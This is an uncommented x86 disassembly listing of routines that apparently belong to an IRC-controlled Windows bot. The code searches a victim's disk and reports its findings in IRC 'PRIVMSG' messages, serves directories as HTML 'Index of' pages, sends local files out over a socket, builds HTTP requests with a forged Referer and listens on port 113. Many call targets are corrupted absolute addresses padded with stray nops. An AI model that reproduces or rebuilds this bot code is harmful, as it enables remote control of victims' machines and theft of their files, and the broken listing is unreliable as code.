var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BD10
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4100B6
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_4100BF
; ---------------------------------------------------------------------------


loc_4100B6:				; CODE XREF: sub_410080+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_4100BF:				; CODE XREF: sub_410080+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B960
		test	eax, eax
		pop	ecx
		jbe	short loc_41015A
		mov	[ebp+arg_8], 2


loc_4100EA:				; CODE XREF: sub_410080+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B960
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_41012A
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_41012A
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_41012A
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_41012A
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410144
; ---------------------------------------------------------------------------


loc_41012A:				; CODE XREF: sub_410080+7Aj
					; sub_410080+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_41013A
		push	5Ch
		pop	eax
		jmp	short loc_41013D
; ---------------------------------------------------------------------------


loc_41013A:				; CODE XREF: sub_410080+B3j
		movsx	eax, al


loc_41013D:				; CODE XREF: sub_410080+B8j
		mov	[ebp+ebx+var_210], al


loc_410144:				; CODE XREF: sub_410080+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B960
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100EA


loc_41015A:				; CODE XREF: sub_410080+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429ACC
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_314]
		push	offset asc_42A084 ; "\n"
		push	eax
		call	sub_41C864
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 269058Ah
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4101A8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101AB
		push	[ebp+arg_0]
		jmp	short loc_410227
; ---------------------------------------------------------------------------


loc_4101A8:				; CODE XREF: sub_410080+11Cj
		mov	[ebp+var_4], esi


loc_4101AB:				; CODE XREF: sub_410080+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4101B8
		mov	[ebp+var_4], esi


loc_4101B8:				; CODE XREF: sub_410080+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_410232
		cmp	[ebp+arg_C], edi
		jz	short loc_410226
		lea	eax, [ebp+var_314]
		push	offset asc_434470 ; "*"
		push	eax
		call	sub_41C630
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410A6F
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C006
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_410281
; ---------------------------------------------------------------------------


loc_410226:				; CODE XREF: sub_410080+14Fj
		push	ebx


loc_410227:				; CODE XREF: sub_410080+126j
		call	dword_4C939C
		jmp	loc_410329
; ---------------------------------------------------------------------------


loc_410232:				; CODE XREF: sub_410080+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 27306D8h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_410281
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C006
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2760AD0h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2660000h


loc_410281:				; CODE XREF: sub_410080+1A4j
					; sub_410080+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_43443C
		push	eax
		call	sub_41C006
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B3AD
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43C244[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FEFE
		push	edi
		push	edi
		nop
		call	near ptr 26805C5h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43C254[ecx], eax
		jz	short loc_4102FB


loc_4102E9:				; CODE XREF: sub_410080+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_410329
		push	5
		nop
		call	near ptr 268051Bh
		jmp	short loc_4102E9
; ---------------------------------------------------------------------------


loc_4102FB:				; CODE XREF: sub_410080+267j
		push	ebx
		call	dword_4C939C
		nop
		call	near ptr 2680DCDh
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434404
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415CEE
		add	esp, 10h


loc_410329:				; CODE XREF: sub_410080+1ADj
					; sub_410080+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_410080	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410330	proc near		; CODE XREF: sub_401AC7+7604p
					; sub_40FEFE+159p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BD10
		mov	edi, [ebp+arg_0]
		push	offset asc_42A084 ; "\n"
		push	edi
		call	sub_41C864
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_41038F
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 14h
		jmp	loc_41048C
; ---------------------------------------------------------------------------


loc_41038F:				; CODE XREF: sub_410330+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_410472
		call	sub_41B960
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		push	edi
		call	sub_41B960
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 0Ch
		jmp	short loc_41048C
; ---------------------------------------------------------------------------


loc_410472:				; CODE XREF: sub_410330+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 10h


loc_41048C:				; CODE XREF: sub_410330+5Aj
					; sub_410330+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		cmp	[ebp+arg_C], ebx
		jz	short loc_410524
		push	[ebp+arg_C]
		call	sub_41B960
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410524
		push	[ebp+arg_C]
		call	sub_41B960
		sub	eax, 3
		pop	ecx
		jz	short loc_4104D8


loc_4104CC:				; CODE XREF: sub_410330+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_4104D8
		dec	eax
		jnz	short loc_4104CC


loc_4104D8:				; CODE XREF: sub_410330+19Aj
					; sub_410330+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354


loc_410524:				; CODE XREF: sub_410330+17Ej
					; sub_410330+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 2790000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	near ptr 2780000h
		nop
		test	eax, eax
		jz	loc_410915
		mov	edi, 1FFh


loc_410550:				; CODE XREF: sub_410330+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_4108FD
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4108FD
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4108FD
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2770503h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2770000h
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_4105C5
		mov	ecx, offset aAm	; "AM"


loc_4105C5:				; CODE XREF: sub_410330+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_4105D1
		sub	eax, 0Ch


loc_4105D1:				; CODE XREF: sub_410330+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C006
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_41077E
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410652
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C100
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 28h
		jmp	loc_4108CE
; ---------------------------------------------------------------------------


loc_410652:				; CODE XREF: sub_410330+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_41073C
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B960
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4106F2
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4106F7
; ---------------------------------------------------------------------------


loc_4106F2:				; CODE XREF: sub_410330+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_4106F7:				; CODE XREF: sub_410330+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4108BF
; ---------------------------------------------------------------------------


loc_41073C:				; CODE XREF: sub_410330+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C100
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_410769:				; CODE XREF: sub_410330+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 24h
		jmp	loc_4108CE
; ---------------------------------------------------------------------------


loc_41077E:				; CODE XREF: sub_410330+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107A8
		push	ebx
		push	[ebp+var_368]
		call	sub_416C7D
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_410769
; ---------------------------------------------------------------------------


loc_4107A8:				; CODE XREF: sub_410330+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_4108A8
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429ACC
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B960
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410848
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_41084D
; ---------------------------------------------------------------------------


loc_410848:				; CODE XREF: sub_410330+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_41084D:				; CODE XREF: sub_410330+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 1Ch
		jmp	short loc_4108CE
; ---------------------------------------------------------------------------


loc_4108A8:				; CODE XREF: sub_410330+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_4108BF:				; CODE XREF: sub_410330+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C100
		add	esp, 18h


loc_4108CE:				; CODE XREF: sub_410330+31Dj
					; sub_410330+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		cmp	[ebp+arg_8], ebx
		jz	short loc_4108FD
		push	7D0h
		nop
		call	near ptr 268051Bh


loc_4108FD:				; CODE XREF: sub_410330+226j
					; sub_410330+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2780000h
		test	eax, eax
		jnz	loc_410550


loc_410915:				; CODE XREF: sub_410330+215j
		push	[ebp+arg_0]
		call	near ptr 25C0000h
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_410958
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416C7D
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416C7D
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C006
		add	esp, 14h
		jmp	short loc_41098C
; ---------------------------------------------------------------------------


loc_410958:				; CODE XREF: sub_410330+5F1j
		cmp	[ebp+arg_C], ebx
		jz	short loc_410972
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	short loc_41098C
; ---------------------------------------------------------------------------


loc_410972:				; CODE XREF: sub_410330+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C006
		add	esp, 10h


loc_41098C:				; CODE XREF: sub_410330+626j
					; sub_410330+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9354
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_410330	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109B2	proc near		; CODE XREF: sub_40FEFE+13Bp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 27306D8h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410A6A
		push	esi
		push	ebx
		nop
		call	near ptr 2760AD0h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410A63


loc_4109F7:				; CODE XREF: sub_4109B2+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410A14
		mov	edi, [ebp+arg_4]


loc_410A14:				; CODE XREF: sub_4109B2+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2791104h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2710000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410A5E
		call	dword_4C9298
		cmp	eax, 2733h
		jnz	short loc_410A63
		xor	eax, eax


loc_410A5E:				; CODE XREF: sub_4109B2+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_4109F7


loc_410A63:				; CODE XREF: sub_4109B2+43j
					; sub_4109B2+A8j
		push	ebx
		call	near ptr 2660000h
		nop


loc_410A6A:				; CODE XREF: sub_4109B2+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A6F	proc near		; CODE XREF: sub_410080+17Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B960
		test	eax, eax
		pop	ecx
		jbe	short loc_410A98


loc_410A82:				; CODE XREF: sub_410A6F+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410A8C
		mov	byte ptr [esi+edi], 2Fh


loc_410A8C:				; CODE XREF: sub_410A6F+17j
		push	edi
		inc	esi
		call	sub_41B960
		cmp	esi, eax
		pop	ecx
		jb	short loc_410A82


loc_410A98:				; CODE XREF: sub_410A6F+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410A6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A9D	proc near		; CODE XREF: sub_401AC7+5201p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4C9274
		push	6
		push	1
		push	2
		call	dword_4C9384
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4C9304
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A8E4
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4C92AC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410B7A
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410B16
		mov	eax, offset byte_43B4B8


loc_410B16:				; CODE XREF: sub_410A9D+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4C9354
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4C931C
		pop	esi


loc_410B7A:				; CODE XREF: sub_410A9D+6Bj
		push	ebx
		call	dword_4C939C
		call	dword_4C925C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C006
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410BBA
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_410BBA:				; CODE XREF: sub_410A9D+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410A9D	endp

; ---------------------------------------------------------------------------


loc_410BBE:				; DATA XREF: ___:00401660o
					; sub_401AC7+4389o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41BD10
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4C9304
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4C9384
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D1F
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43C24C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4C9330
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D1F
		push	5
		push	ebx
		call	dword_4C932C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D1F
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410C49:				; CODE XREF: ___:00410CA8j
					; ___:00410D08j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4C9398
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_410D1A
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_43495C
		push	eax
		call	sub_41C006
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415CEE
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4C931C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C49
